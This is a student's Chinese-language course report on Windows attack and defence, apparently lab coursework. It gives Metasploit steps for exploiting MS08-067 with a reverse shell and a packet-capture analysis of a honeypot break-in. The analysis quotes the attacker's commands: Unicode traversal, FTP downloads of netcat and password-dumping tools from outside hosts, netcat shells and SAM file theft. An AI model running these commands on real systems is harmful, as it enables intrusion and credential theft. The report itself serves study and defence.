20199127 2019-2020-2 《网络攻防实践》 第7周作业
20199127 2019-2020-2 《网络攻防实践》 第7周作业
| 本次作业所属课程 | 《网络攻防实践》 |
|---|---|
| 这个作业要求在哪里 | 第七次作业 Windows操作系统安全攻防 |
| 我在这个课程的目标是 | 学习网络攻防相关技术,掌握网络攻防能力 |
| 这个作业在哪个具体方面帮助我实现目标 | 学习windows下的相关系统安全攻防技术 |
| 参考 | Windows网络系统架构;metasploit常用命令;深入解析Windows操作系统笔记;教材 |
1. 实践内容
1.1 Windows操作系统基本构架概述
- Windows操作系统的基本结构分为:处理器特权模式的操作系统内核和处理器非特权模式的用户空间代码。
- Windows操作系统内核包括:Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码、系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。
- Windows操作系统内核实现了如下核心机制:进程和线程管理、内存管理机制、文件管理、注册表管理机制、网络机制。
1.2 Windows操作系统的安全体系结构与机制
- 基于引用监控器模型来实现基本的对象安全模型。例如,引用监控器模型,系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。
- Windows操作系统以安全主体概念来包含所有进行系统资源访问请求的实体对象,包括用户、用户组、计算机,对于每个安全主体,时间上和空间上存在唯一的SID安全标识符。
- Windows支持本地身份认证和网络远程身份认证,分别对在本地系统登录和远程网络访问的主体进行合法验证。其原理如下图,GINA提取到用户输入的口令信息后,由Winlogon进程移送给LSASS服务。
- 本地身份认证过程是利用LSASS提供的身份验证服务来进行用户身份的真实性确定
- 远程身份认证是通过LSASS服务的Netlogon模块主导完成,Netlogon模块与远程Netlogon进行“质询-应答式”验证身份

- Windows对系统中所有需保护的资源都抽象成对象,具体类型包括:文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存等。
- Windows系统审计策略在本地安全策略中由系统管理员定义。
1.3 Windows远程安全攻防技术
- 攻击过程:
- 漏洞扫描测试,发现系统中已存在的已知安全漏洞
- 查找针对发现漏洞的渗透代码
- 实施渗透,进行攻击
- 远程口令猜测与破解攻击:口令暴力破解、基于字典的猜测及中间人身份认证欺骗技术
- 远程口令猜测
- 远程口令字交换通信窃听与破解:即窃听网络上的口令交换通信实施破解
- 防范措施最根本的是提高用户的安全意思,设置较高安全强度的口令
- 攻击Windows网络服务:一般是针对默认开放端口提供的网络及本地服务。
- 针对UDP137端口的NetBIOS名字服务、UDP138端口的NetBIOS数字服务、TCP139端口的NetBIOS会话服务的渗透攻击
- 针对TCP 139及445端口的SMB网络服务的渗透攻击
- 针对TCP/UDP 135端口的MSRPC网络服务的渗透攻击
- 针对微软网络服务的远程渗透攻击,如IIS Internet服务、DNS域名服务等
- 针对第三方网络服务的远程渗透攻击,如提供HTTP服务的Apache、Tomcat等
- 防范措施最基本的是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞
1.4 Windows本地安全攻防技术
- 攻击者获得Windows受限用户权限后,将尝试获得特权账户,称“提权”,攻击途经主要是DDL注入和破解本地程序安全漏洞。最根本的防范措施是及时给系统打好补丁。
- 敏感信息的窃取
- 提取口令密文文件,如利用pwdumpX系统工具
- 实施口令破解,如L0phtCrack
- 用户敏感数据的窃取,如用find、findstr、grep等命令实施查找
- 防范措施:让所有用户,特别是Administratior特权用户选择一个好口令
- 攻击者窃取完信息后,想长期控制被攻击者,就会消踪灭迹,即将入侵痕迹进行删除或掩盖。
- 关闭审计功能
- 清理事件日志
- 防范措施:将日志记录到不可擦写的CDROM中,或者通过网络传输到安全的日志服务器中,或定期备份。
- 攻击者会植入远程控制和后门程序方便下次登录。主要分为:命令行远程控制,如netcat;图形化远程攻击
- 防范措施:采用后门检测软件来发现攻击者隐藏的后门程序
2. 实践过程
| 计算机 | IP地址 |
|---|---|
| 攻击机:kali-linux | 192.168.200.3 |
| 靶机:Windows2kserver | 192.168.200.124 |
实践一:Metasploit Windows Attacker
任务:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权
步骤①:在kali中输入msfconsole进入metasploit。如果进不去,执行sudo apt-get install metasploit-framework安装渗透测试框架(简称msf)。

步骤②:输入命令search ms08_067查找ms08_067漏洞,可以得到针对该漏洞的渗透攻击模块,再执行命令:use exploit/windows/smb/ms08_067_netapi。表示我们将攻击的漏洞

步骤③:选择攻击负载模块,先用show payloads列举出所有适用的负载模块,包括:远程Shell、执行命令、添加用户、上传并执行程序、下载并执行程序、VNC远程控制等。有效载荷有三种类型 :
- Singles - Singles非常小,旨在建立某种通讯,然后进入下一阶段。
- Staged - 是一种攻击者用来将更大的文件上传到沦陷的系统的payload。
- Stages - 是由Stagers模块下载的payload组件。
(Payload是黑客用来与被黑了的系统交互的简单脚本。 使用payload,可以将数据传输到已经沦陷的系统。看到列出的payload可以能帮助我们上传/执行文件。)
执行命令:set PAYLOAD generic/shell_reverse_tcp以打开反向连接

步骤④:配置该渗透攻击模块和攻击负载模块所必须的参数
set LHOST 192.168.200.3为攻击机kali地址
set RHOST 192.168.200.124为靶机地址
可用show options查看当前参数列表及其默认装置,之后执行命令set TARGET 0选择目标操作系统平台,0位自动选择

步骤⑤:输入命令exploit实施渗透攻击,此时已获得靶机的访问权,可以用ipconfig可查看靶机的ip地址

实践二:解码一次成功的NT系统破解攻击
来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),分析数据源只有包含整个攻击过程的二进制记录文件,从文件中提取和分析攻击的全过程,并回答以下问题。
按编号一点点往下找信息
1.攻击者使用了什么破解工具进行攻击?
参考知已知彼Windows系统常见漏洞分析,可以了解常用漏洞,之后用Wireshark打开二进制数据包。根据题目筛选ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106,可以发现攻击者一共进行了以下破解工具攻击。
进行了HTTP访问。在此可看到客户端的操作系统等。

往下找到编号117,发现攻击者打开了 boot.ini (系统启动文件),%C0%AF字符非常多,经网络查询可知是“/“的Unicode编码,所以这部分是Unicode编码攻击。

往下观察到编号130和编号140中含有msadc,这是进行探测的过程,随后在编号149,通过追踪tcp流,发现这是一个SQL注入攻击,文本中是数据库操作(select * from customers where)。执行的命令是cmd /c echo werd >> c:\fun。
所以这是一次基于MSADCS RDS的漏洞攻击。发现ADM!ROX!YOUR!WORLD字符串出现的频率很高,上网查询,我们发现这是一个名为msadc2.pl工具发起的攻击,同时也给出了具体的使用参数perl msacs2.pl -h www.victim.com。

2.攻击者如何使用这个破解工具进入并控制了系统?
①:右键 追踪->TCP流,然后一个流一个流的往下找,从文本中发现其指令为cmd /c echo user johna2k > ftpcom。用同样的方式往下找,可以依次看到下列指令。
cmd /c echo user johna2k > ftpcom
cmd /c echo hacker2000 > ftpcom
cmd /c echo get samdump.dll > ftpcom
cmd /c echo get pdump.exe > ftpcom
cmd /c echo get nc.exe > ftpcom
cmd /c ftp -s:ftpcom -n www.nether.net


上述指令具体意思是,攻击者首先创建了一个ftpcom脚本,并使用 ftp连接www.nether.net(给出了用户名密码),尝试下载 samdump.dll、pdump.exe和nc.exe(攻击工具)。继续按流往下找之后出现了ftp的连接,目标IP为204.42.253.18。
不过他失败了。但他尝试了很多次,最后成功了。直接筛选ftp找到“logged in”的数据包,编号1106。从这个ftp往前找信息,发现攻击者也是进行了Unicode漏洞攻击,下载了一些文件,通过追踪TCP流可查看到有以下指令:
copy C:\winnt\system32\cmd.exe cmd1.exe
cmd1.exe /c open 213.116.251.162 >ftpcom
cmd1.exe /c echo johna2k >>ftpcom
cmd1.exe /c echo haxedj00 >>ftpcom
cmd1.exe /c echo get nc.exe >>ftpcom
cmd1.exe /c echo get pdump.exe >>ftpcom
cmd1.exe /c echo get samdump.dll >>ftpcom
cmd1.exe /c echo quit >>ftpcom

在这个ftp之后,攻击者执行了命令cmd1.exe /c nc -l -p 6969 -e cmd1.exe,表示攻击者连接了6969端口,并且获得了访问权限。
3.攻击者获得系统访问权限后做了什么?
得到了攻击者攻击的端口,我们筛选tcp.port == 6969,追踪TCP流按流往下找可看攻击者通过这个端口进入后执行了一些命令。

攻击者输入了很多很多命令,其中大部分都无意义。(可能就是测试用的)有意义的指令如下:
①:攻击者尝试查看一些用户信息,执行了net session(列出会话),无权限,然后执行net users返回了主机的用户列表。攻击者发送了一个echo消息到C盘根目录文件README.NOW.Hax0r。攻击者尝试通过net group查看组用户、net locagroup查看本地组用户、以及net group domain admins查看所有域管理员列表。都无权限。




②:攻击者尝试寻找msadc目录,执行pdump尝试破解administrator的口令密文,失败。

③:攻击者删除samdump和pdump。使用rdisk尝试获得SAM口令文件(安全账号管理器),rdisk是磁盘修复程序,执行rdisk /s-(攻击者输了多次才找到正确的)备份关键系统信息,在/repair目录中就会创建一个名为sam._的SAM压缩拷贝。并且攻击者把这个文件拷贝到har.txt并打印。


④:攻击者主动退出了端口6969,执行了命令nc -l -p 6968 -e cmd1.exe,重新建立了一个端口6968,进行了unicode攻击。筛选这个端口,追踪数TCP流发现,攻击者将SAM文件拷贝到IIS的根目录inetpub,之后尝试删除这个文件失败。然后他又无意义地(也许是我不懂)查看了一些盘符,之后退出。
⑤:攻击者重新建立了端口,建立了一个test.txt文件,最后进行了痕迹清除。留下了嘲讽的话和一个wei笑。

4.我们如何防止这样的攻击?
可做的操作例如:及时修补漏洞,对漏洞打上相应的补丁;禁用用不着的 RDS 等服务;防火墙封禁网络内部服务器发起的连接;为 web server 在单独的文件卷上设置虚拟根目录;使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能;使用 IIS Lockdown 和 URLScan 等工具加强 web server。
5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
是的。攻击者留下了信息,如上第⑤项,然而我并不知道什么是rfp。
团队对抗实践:Windows系统远程渗透攻击和分析
任务:
攻击方使用metaploit选择漏洞进行渗透攻击,获得控制权。
防守方使用wireshark监听获得网络攻击的数据包,结合分析过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及本地执行的命令输入信息。
kali攻击机进入metaploit,执行exploit命令攻击。Windows2kserver靶机,因为没有wireshark,所以用kali上的,目的是一样的,(忘记在exploit执行前打开捕获开关,当时精力已经不支所以没记录)。输入ipconfig指令,wireshark捕获可以查看。

3. 学习中遇到的问题及解决
问题:作业太多。
浙公网安备 33010602011771号